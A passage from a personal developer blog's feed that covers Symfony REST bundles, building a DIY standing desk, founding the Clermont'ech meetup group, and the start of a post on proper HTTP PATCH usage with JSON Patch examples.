created a screencast named &lt;a href=&quot;https://knpuniversity.com/screencast/rest&quot;&gt;RESTful APIs in the Real
World&lt;/a&gt;. I came across a few new
bundles, mainly focused on authentication such as
&lt;a href=&quot;https://github.com/uecode/api-key-bundle&quot;&gt;ApiKeyBundle&lt;/a&gt; and
&lt;a href=&quot;https://github.com/lexik/LexikJWTAuthenticationBundle&quot;&gt;LexikJWTAuthenticationBundle&lt;/a&gt;.
That is it!&lt;/p&gt;

&lt;p&gt;I think that we, the Symfony folks interested in APIs and REST stuff, have &lt;strong&gt;two
problems&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a clear &lt;strong&gt;lack of contributions&lt;/strong&gt; (not only in term of code, documentation
matters too);&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;too few new big features&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For instance, we could probably leverage the
&lt;a href=&quot;https://github.com/sensiolabs/SensioGeneratorBundle&quot;&gt;GeneratorBundle&lt;/a&gt; to
scaffold an API. We probably need more integration with client-side applications
(AngularJS, Backbone.js, whatever). People could write &lt;strong&gt;blog posts&lt;/strong&gt; explaining
how they built their API, because I am pretty sure there are people here who
already built an API with Symfony. Existing bundles and libraries also &lt;strong&gt;need
regular contributors&lt;/strong&gt;, but this is obvious. Also, if you have other ideas or
comments, you can leverage the new &lt;a href=&quot;http://symfony.com/blog/making-the-symfony-experience-exceptional&quot;&gt;Developer
eXperience&lt;/a&gt;
(&lt;strong&gt;DX&lt;/strong&gt;) system.&lt;/p&gt;

&lt;p&gt;Please, help!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Standing Desk Do It Yourself (DIY)</title>
        <link href="https://williamdurand.fr/2014/03/17/standing-desk-do-it-yourself/"/>
        <updated>2014-03-17T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/03/17/standing-desk-do-it-yourself</id>
        <content type="html">&lt;p&gt;I have been interested in standing desks for a while. &lt;a href=&quot;http://en.wikipedia.org/wiki/Standing_desk&quot;&gt;A standing desk is a desk
conceived for writing, reading, or working, while standing up or while sitting
on a high stool&lt;/a&gt;. The impact of such
desks on our health has been quantified, and several reports have come out
pointing out &lt;a href=&quot;http://www.huffingtonpost.com/chris-kresser/sitting-health_b_2897289.html&quot;&gt;the
dangers&lt;/a&gt;
&lt;a href=&quot;http://healthland.time.com/2011/04/13/the-dangers-of-sitting-at-work%E2%80%94and-standing/&quot;&gt;of
sitting&lt;/a&gt;
&lt;a href=&quot;http://www.nytimes.com/2011/04/17/magazine/mag-17sitting-t.html&quot;&gt;too&lt;/a&gt;
&lt;a href=&quot;http://mashable.com/2011/05/09/sitting-down-infographic/&quot;&gt;long&lt;/a&gt; (e.g. risk
of obesity, diabetes, heart disease, a variety of cancers, and an early death).
According to most people using standing desks, &lt;a href=&quot;http://readwrite.com/2013/09/26/standing-desks-productivity&quot;&gt;they even make you more
productive&lt;/a&gt;, but I
didn’t find any formal report confirming that yet.&lt;/p&gt;

&lt;p&gt;After having given cardboard box-based standing desk a try last week, I decided
to build my own standing desk, on top of my existing desk, for less than 30
euros ($40). There are plenty examples of
&lt;a href=&quot;http://en.wikipedia.org/wiki/Do_it_yourself&quot;&gt;DIY&lt;/a&gt; standing desks on the
Internet, but &lt;a href=&quot;http://iamnotaprogrammer.com/Ikea-Standing-desk-for-22-dollars.html&quot;&gt;that
one&lt;/a&gt; is
probably the best known, and this is the one I used as an example.&lt;/p&gt;

&lt;p&gt;First, I needed the following items:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;two &lt;a href=&quot;http://www.but.fr/produits/43394/Table-basse-NEXT-2-wenge.html&quot;&gt;side tables&lt;/a&gt; (2 x 7 euros);&lt;/li&gt;
  &lt;li&gt;two black brackets (2 x 1.5 euros);&lt;/li&gt;
  &lt;li&gt;a black rubber slab with adhesive backing (8 euros);&lt;/li&gt;
  &lt;li&gt;wood glue, screws, and a few tools (free).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then, it was time to write down &lt;strong&gt;THE plan&lt;/strong&gt;. I needed to put the keyboard
at the height of 32cm starting from the top of my existing desk, and the main
monitor at the height of 10-15cm upper.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/items_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/the-plan_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The side tables are square (50x50cm), and their height (42cm) perfectly fits my
needs, given my existing desk dimensions as described above. That is why I chose
such side tables actually, and this made things a lot easier.&lt;/p&gt;

&lt;p&gt;One side table has been used as is, and will support the main screen. The other
side table has been split (25cm depth, and 32cm height), and will be used for
either a laptop or a keyboard.
In order to screw the brackets on the half table, I crafted two wood blocks that
I put into the table, that one being made of wood with paper filling. This
happens when you buy cheap furniture… Adding these blocks did the trick
though.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/half-table_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/blocks_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I did the same thing for the two hollow legs of the half table, gluing blocks of
wood into them so that it looks exactly like the original legs. Here, I reused
the blocks that were located in the offcuts of the two legs I cut.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/legs_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/wood-block-legs_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At that time, everything was ready for assembling. I put up the other side
table, then I screwed the short legs and the brackets on the half table.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/table_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/blocks-and-brackets_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sort of protip, I used a black marker to color the edges of the half table in
order to make them pretty. Version 1 will not hide the back of the half table
unfortunately. I didn’t find a satisfying solution yet.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/black-marker_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then, I screwed the half table part to the main side table, and cut and stuck
rubber pads on each leg. That way, the whole piece of furniture should be pretty
stable once put on the desk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/assembling_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/rubber-pads_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And voilà! I am ready to work standing up. It is worth mentioning that I can
double the space of the upper surface, if I want to, by simply buying another
side table (I actually bought a few ones already, just in case you know). I also
kept the other part of the table I cut so that I can possibly build another
similar piece of furniture.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/final-front_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/standing-desk/final-back_small.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I would like to thank Jean-Pierre who has provided me all the tools and
knowledge I needed.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>The story behind Clermont&apos;ech</title>
        <link href="https://williamdurand.fr/2014/02/21/the-story-behind-clermontech/"/>
        <updated>2014-02-21T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/02/21/the-story-behind-clermontech</id>
        <content type="html">&lt;p&gt;One year ago, Julien, Pierre, Manuel, Jean-Philippe, Julien (yes, again) and I
created &lt;a href=&quot;https://clermontech.org/&quot;&gt;Clermont’ech&lt;/a&gt;, a non-for-profit organization
dedicated to gathering developers in our city. Our goal was simple yet
impactful—organize conferences every two months, known as the &lt;a href=&quot;https://clermontech.org/api-hours/&quot;&gt;API
Hours&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Reflecting on the past, attending conferences such as Symfony Live 2011 and the
&lt;a href=&quot;https://parisjs.org/&quot;&gt;ParisJS&lt;/a&gt; events when I was living in Paris was an
eye-opener. When I returned to Clermont-Fd, I talked to some of my friends about
the idea of organizing conferences &lt;a href=&quot;https://en.wikipedia.org/wiki/Massif_Central&quot;&gt;here, between the
volcanoes&lt;/a&gt;. Unfortunately, we were
all quite busy, and nothing happened. This was in 2011.&lt;/p&gt;

&lt;p&gt;My journey took a significant turn when I moved to Switzerland. There, I
discovered the power of simplicity and freedom: &lt;em&gt;Wanna do something? Well, just
do it!&lt;/em&gt; In other words, if you never try you will never know. Back to
Clermont-Fd again, I connected with Julien Maupetit who wanted to build a Python
community:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/haha.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yeah, there isn’t a lot of Pythonistas in our area. However, there are PHP,
Java, .NET, …, and JavaScript folks. Hence the idea of not being focused on a
single technology or programming language, but rather, targeting developers at
large. That is how &lt;a href=&quot;https://clermontech.org&quot;&gt;Clermont’ech&lt;/a&gt; is born, exactly a
year ago.&lt;/p&gt;

&lt;p&gt;Julien was really a catalyst, and it was also the right moment, I guess. We
discussed the idea with the LavaJUG folks (Java User Group), the first local
tech organization, which provided invaluable guidance.&lt;/p&gt;

&lt;p&gt;The first thing we did was to all agree on a &lt;strong&gt;manifesto&lt;/strong&gt; with &lt;strong&gt;four strong
values&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Openness&lt;/strong&gt;: we are technology-agnostic, everyone can join the flock;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Independence&lt;/strong&gt;: we are not tied to any company or organization, no matter
how much they could give us;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Respect&lt;/strong&gt;:  people who stir up trouble are not welcomed;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sharing&lt;/strong&gt;: every decision we make is driven by this value, we don’t &lt;em&gt;just&lt;/em&gt;
promote sharing through the conferences.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A year later, I think that this was our main key success factor. We always stick
to this manifesto, we had a clear vision since the beginning, and we all shared
the same point of view.&lt;/p&gt;

&lt;p&gt;Then, we tried to create our own identity, and we choose the platypus as our
mascot. &lt;em&gt;Why?&lt;/em&gt; Because, platypus are cool, and will always be cool. End of the
story. A special thanks goes to Sophie, our outstanding web designer, by the
way.&lt;/p&gt;

&lt;p&gt;The first event was awesome, even though we had no money, no experience in
organizing an event–only a MacBook Pro and a camera. We got more attendees than
expected. Unbelievable. The next API Hours went well, and we reached our limit
of 50 attendees after the second event. The idea behind &lt;strong&gt;limiting the number of
attendees&lt;/strong&gt; was pretty straightforward: &lt;strong&gt;we wanted people to meet other
people&lt;/strong&gt;, and make the events more &lt;strong&gt;friendly&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/&quot;&gt;&lt;img src=&quot;/images/posts/apihours.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We were more and more prepared, with more equipment, and a lot of &lt;strong&gt;goodies&lt;/strong&gt;!
That is probably the second key success factor: &lt;strong&gt;focusing on the marketing
stuff&lt;/strong&gt;. This led us to the notion of sponsorship, i.e. &lt;strong&gt;money&lt;/strong&gt;. Since the
beginning, we wanted our events to be &lt;em&gt;free of charge&lt;/em&gt; for the attendees, but
also, providing food (we are French after all). Thanks to our fabulous sponsors,
we were able to do more, making
&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/10455746815/in/set-72157636366078485&quot;&gt;t-shirts&lt;/a&gt;,
&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/10696881453/in/set-72157637356442883&quot;&gt;stickers&lt;/a&gt;,
&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/10696880443/in/set-72157637356442883&quot;&gt;business
cards&lt;/a&gt;,
postcards, but also &lt;strong&gt;chocolates&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/&quot;&gt;&lt;img src=&quot;/images/posts/apihours-2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We held the events in different places, and not always the same day of week so
that new people could show up. We took care of a lot of similar aspects (e.g.,
food for vegans and non-pork eaters, live streaming for those who didn’t get a
ticket, and many more you can’t probably think of).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/96523012@N07/&quot;&gt;&lt;img src=&quot;/images/posts/apihours-3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, conferences without speakers are nothing. We wanted the API Hours to be
&lt;strong&gt;community-driven&lt;/strong&gt; and that is why we decided to find
&lt;a href=&quot;https://clermontech.org/talks/&quot;&gt;speakers&lt;/a&gt; locally. Most of our speakers never
spoke at any conference before, but they were all good!&lt;/p&gt;

&lt;p&gt;Thanks to these events, I met a lot of interesting people, and not only
developers. I also heard about topics I would not have explored myself. We’ve
built a vibrant community of approximately 130 individuals (based on our
mailing-list), all involved in computing. I think we are quite well-known now,
since local universities asked us to come and speak to their students. 2014
promises exciting developments as we continue to expand and refine our
initiatives.&lt;/p&gt;

&lt;p&gt;If your city lacks a tech organization, consider creating one. It’s an endeavor
worth undertake—it could become a fantastic adventure!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Please. Don&apos;t Patch Like That.</title>
        <link href="https://williamdurand.fr/2014/02/14/please-dont-patch-like-that/"/>
        <updated>2014-02-14T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/02/14/please-dont-patch-like-that</id>
        <content type="html">&lt;style&gt;
  .language-http .err {
    color: #bf616a!important;
    background: none!important;
  }
&lt;/style&gt;

&lt;p&gt;Modifying HTTP resources is not a new topic. Most of the existing HTTP or REST
APIs provide a way to modify resources. They often provide such a feature by
using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; method on the resource, asking clients to &lt;strong&gt;send the entire
resource&lt;/strong&gt; with the updated values, but that requires a recent &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; on its
resource, and a way to not miss updates between this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; call, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt;
one. Indeed, one may update values before you, and it can lead to bad side
effects. Moreover, sending a complete resource representation utilizes &lt;strong&gt;more
bandwidth&lt;/strong&gt;, and sometimes it must be taken into account. Also, most of the time
you want to update one or two values in a resource, not everything, so the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt;
method is probably not the right solution for partial update, which is the term
used to describe such a use case.&lt;/p&gt;

&lt;p&gt;Another solution is to expose the resource’s properties you want to make
editable, and use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; method to send an updated value. In the example
below, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; property of user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;123&lt;/code&gt; is exposed:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;PUT /users/123/email

new.email@example.org
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While it makes things clear, and it looks like a nice way to decide what to
expose and what not to expose, this solution introduces a lot of complexity
into your API (more actions in the controllers, routing definition,
documentation, etc.). However, it is REST compliant, and a not-so-bad solution,
but there is a better alternative: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is an HTTP method (a.k.a. verb) which has been described in &lt;a href=&quot;https://tools.ietf.org/html/rfc5789&quot;&gt;RFC
5789&lt;/a&gt;. The initial idea was to propose a
new way to modify existing HTTP resources. The biggest issue with this method is
that people often misunderstand its usage. No, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is not &lt;strong&gt;strictly&lt;/strong&gt; about
sending an updated value, rather than the entire resource as described in the
first paragraph of this article. Please, &lt;strong&gt;avoid&lt;/strong&gt; doing this. This is not
strictly correct:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;PATCH /users/123

{ &quot;email&quot;: &quot;new.email@example.org&quot; }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, this is not correct either:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;PATCH /users/123?email=new.email@example.org
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method requests that &lt;strong&gt;a set of changes&lt;/strong&gt;, described in the request
entity, must be applied to the resource identified by the request’s URI. This
set contains &lt;strong&gt;instructions&lt;/strong&gt; describing how a resource currently residing on
the origin server should be modified to produce a new version. You can think of
this as a &lt;strong&gt;diff&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;PATCH /users/123

[description of changes]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The entire set of changes must be applied &lt;strong&gt;atomically&lt;/strong&gt;, and the API must never
provide a partially modified representation by the way. It is worth mentioning
that the request entity to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is of a &lt;strong&gt;different content-type&lt;/strong&gt; than the
resource that is being modified. You have to use a media type that defines
semantics for PATCH, otherwise you lose the advantage of this method, and you
can use either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt;. From the RFC:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The difference between the PUT and PATCH requests is reflected in the way the
server processes the enclosed entity to modify the resource identified by the
Request-URI. In a PUT request, the enclosed entity is considered to be a
modified version of the resource stored on the origin server, and the client is
requesting that the stored version be replaced. With PATCH, however, &lt;strong&gt;the
enclosed entity contains a set of instructions describing how a resource
currently residing on the origin server should be modified to produce a new
version&lt;/strong&gt;. The PATCH method affects the resource identified by the Request-URI,
and it also MAY have side effects on other resources; i.e., new resources may be
created, or existing ones modified, by the application of a PATCH.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can use whatever format you want as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[description of changes]&lt;/code&gt;, as far as its
semantics is well-defined. That is why using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; to send updated values only
is not suitable.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc6902&quot;&gt;RFC 6902&lt;/a&gt; defines a &lt;strong&gt;JSON document
structure&lt;/strong&gt; for expressing a &lt;strong&gt;sequence of operations&lt;/strong&gt; to apply to a JSON
document, suitable for use with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method. Here is how it looks like:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;remove&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/c&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;replace&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;move&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/d&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;copy&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/a/b/e&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It relies on &lt;strong&gt;JSON Pointers&lt;/strong&gt;, described in &lt;a href=&quot;http://tools.ietf.org/html/rfc6901&quot;&gt;RFC
6901&lt;/a&gt;, to identify specific values in a JSON
document, i.e. in a HTTP resource representation.&lt;/p&gt;

